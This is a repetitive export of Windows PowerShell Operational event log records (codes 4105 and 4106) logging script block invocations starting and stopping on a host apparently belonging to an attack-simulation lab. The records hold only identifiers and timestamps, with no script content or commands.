LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025422
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025420
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025419
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025418
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025417
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025416
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025415
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025414
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025410
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025409
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025408
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025407
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025406
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025405
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025404
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025403
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025402
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025400
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025399
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025398
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025397
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025396
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025394
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025393
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025392
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025391
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025390
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025389
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025388
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025387
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025384
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025382
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025381
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025380
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025379
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025378
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025377
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025376
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025375
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025374
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025372
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025370
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
